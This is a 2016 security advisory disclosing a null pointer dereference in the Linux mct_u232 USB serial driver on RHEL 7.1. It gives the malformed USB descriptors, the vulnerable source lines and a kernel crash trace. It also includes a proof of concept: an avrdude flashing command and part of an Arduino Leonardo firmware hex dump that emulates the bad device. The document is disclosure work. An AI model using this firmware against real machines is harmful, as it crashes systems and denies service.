Linux mct_u232 Null Pointer Dereference

2016.03.10
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-476

OS-S Security Advisory 2016-08 Linux mct_u232 Nullpointer Dereference Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: not yet assigned CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS ? RHEL 7.1 Kernel crashes on invalid USB device descriptors (mct_u232_m8 driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of advisory: https://os-s.net/advisories/OSS-2016-08_mct_u232.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the mct_u232_m8 driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x50d idProduct: 0x109 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 This is the configuration descriptor containing only one interrupt-endpoint- descriptor (IN-direction). The mct_u232 driver assumes that there will be at least two endpoint- descriptors configured as interrupt-in. Since there is no sanity check, it is possible that the kernel tries to dereference a null-pointer. This results in a crash of the system. **** $ nm mct_u232.ko.debug | grep mct_u232_port_probe 0000000000000fc0 t mct_u232_port_probe $ addr2line -e mct_u232.ko.debug 0xFF9 /usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/usb/serial/mct_u232.c:386 **** **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/serial/mct_u232.c) ... 377 static int mct_u232_port_probe(struct usb_serial_port *port) 378 { 379 struct mct_u232_private *priv; 380 381 priv = kzalloc(sizeof(*priv), GFP_KERNEL); 382 if (!priv) 383 return -ENOMEM; 384 385 /* Use second interrupt-in endpoint for reading. */ 386 priv->read_urb = port->serial->port[1]->interrupt_in_urb; /* missing sanity check -> possible null-pointer dereference */ 387 priv->read_urb->context = port; 388 389 spin_lock_init(&priv->lock); 390 391 usb_set_serial_port_data(port, priv); 392 393 return 0; 395 } ... **** [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x3 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 ? IN-Direction bmAttribut: 0x3 ? Interrupt-Transfer wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 ?OUT-Direction bmAttribut: 0x2 ?Bulk-Transfer wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 ?IN-Direction bmAttribut: 0x1 ?Bulk-Transfer wMaxPacketSize: 0x4 bInterval: 0xc Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. To this day, no security patch was provided by the vendor. Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory. References: https://bugzilla.redhat.com/show_bug.cgi?id=1283370 Kernel Stacktrace: [ 2273.524650] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 2273.741789] usb 1-1: New USB device found, idVendor=050d, idProduct=0109 [ 2273.749429] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 2273.757144] usb 1-1: Product: ? [ 2273.760821] usb 1-1: Manufacturer: ? [ 2273.763500] usb 1-1: SerialNumber: % [ 2273.768699] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc says 96 microframes [ 2273.814069] usbcore: registered new interface driver mct_u232 [ 2273.820979] usbserial: USB Serial support registered for MCT U232 [ 2273.833864] mct_u232 1-1:1.0: MCT U232 converter detected [ 2273.838511] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158 [ 2273.839330] IP: [<ffffffffa0393ff9>] mct_u232_port_probe+0x39/0x70 [mct_u232] [ 2273.839330] PGD 0 [ 2273.839330] Oops: 0000 [#1] SMP [ 2273.839330] Modules linked in: mct_u232(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 2273.839330] CPU: 0 PID: 8890 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 2273.839330] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 2273.839330] task: ffff88000f546660 ti: ffff88000f4cc000 task.ti: ffff88000f4cc000 [ 2273.839330] RIP: 0010:[<ffffffffa0393ff9>] [<ffffffffa0393ff9>] mct_u232_port_probe+0x39/0x70 [mct_u232] [ 2273.839330] RSP: 0018:ffff88000f4cf908 EFLAGS: 00010286 [ 2273.839330] RAX: ffff88000d9b49a0 RBX: ffff88000c34e800 RCX: 0000000000000000 [ 2273.839330] RDX: 0000000000000000 RSI: ffff88000d9b49a0 RDI: ffff88000c34eab0 [ 2273.839330] RBP: ffff88000f4cf910 R08: 00000000000163c0 R09: ffff88000e401c00 [ 2273.839330] R10: ffffffffa0393fe3 R11: 0000000000000004 R12: 0000000000000000 [ 2273.839330] R13: ffff88000c34e800 R14: ffffffffa0396000 R15: ffffffffa0396000 [ 2273.839330] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 2273.839330] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 2273.839330] CR2: 0000000000000158 CR3: 000000000f70c000 CR4: 00000000000006f0 [ 2273.839330] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 2273.839330] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 2273.839330] Stack: [ 2273.839330] ffff88000c34eab0 ffff88000f4cf940 ffffffff81461cf6 ffff88000c34eab0 [ 2273.839330] ffff88000c34eab0 ffffffffa0396028 ffff88000c34eab0 ffff88000f4cf968 [ 2273.839330] ffffffff813d30d7 ffffffffa0396028 ffff88000c34eab0 ffffffff813d33e0 [ 2273.839330] Call Trace: [ 2273.839330] [<ffffffff81461cf6>] usb_serial_device_probe+0x56/0x110 [ 2273.839330] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 2273.839330] [<ffffffff813d33e0>] ? driver_probe_device+0x390/0x390 [ 2273.839330] [<ffffffff813d341b>] __device_attach+0x3b/0x40 [ 2273.839330] [<ffffffff813d0f1b>] bus_for_each_drv+0x6b/0xb0 [ 2273.839330] [<ffffffff813d2fd8>] device_attach+0x88/0xa0 [ 2273.839330] [<ffffffff813d22d8>] bus_probe_device+0x98/0xc0 [ 2273.839330] [<ffffffff813cfd64>] device_add+0x4c4/0x7a0 [ 2273.839330] [<ffffffff81460243>] usb_serial_probe+0x1123/0x1230 [ 2273.839330] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0 [ 2273.839330] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0 [ 2273.839330] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0 [ 2273.839330] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100 [ 2273.839330] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0 [ 2273.839330] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 2273.839330] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0 [ 2273.839330] [<ffffffff813d3420>] ? __device_attach+0x40/0x40 [ 2273.839330] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0 [ 2273.839330] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20 [ 2273.839330] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580 [ 2273.839330] [<ffffffffa0399000>] ? 0xffffffffa0398fff [ 2273.839330] [<ffffffffa039901e>] usb_serial_module_init+0x1e/0x1000 [mct_u232] [ 2273.839330] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230 [ 2273.839330] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40 [ 2273.839330] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0 [ 2273.839330] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150 [ 2273.839330] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0 [ 2273.839330] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b [ 2273.839330] Code: 00 00 48 89 e5 53 48 89 fb 48 8b 3d aa 3e aa e1 e8 9d 7a e1 e0 48 85 c0 74 38 48 8b 13 48 8d bb b0 02 00 00 48 89 c6 48 8b 52 28 <48> 8b 92 58 01 00 00 48 89 10 48 89 9a b0 00 00 00 c7 40 08 00 [ 2273.839330] RIP [<ffffffffa0393ff9>] mct_u232_port_probe+0x39/0x70 [mct_u232] [ 2273.839330] RSP <ffff88000f4cf908> [ 2273.839330] CR2: 0000000000000158 [ 2274.348716] ---[ end trace b239663354a1c556 ]--- [ 2274.356144] Kernel panic - not syncing: Fatal exception [ 2274.357102] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C4050C942F04CA :100030000C94C5000C94C5000C94C5000C94C5002C :100040000C94C5000C94C5000C94C5000C94C5001C :100050000C94C5000C94C5000C94C5000C940E02C1 :100060000C94C5000C94C5000C94C5000C94C500FC :100070000C94C5000C94C5000C94C5000C94C500EC :100080000C94C5000C94C5000C94C5000C94C500DC :100090000C94C5000C94C5000C94C5000C94C500CC :1000A0000C94C5000C94C5000C94C5000B030E0302 :1000B000010305032F032F032F03120316031A0353 :1000C000200324032F032A030000000200080E006F :1000D00000030401000B000000000000000000000D :1000E00000000000000004080201104080401020C1 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Germany Fon: +49(0)2552 638 755 Fax: +49(0)2552 638 757


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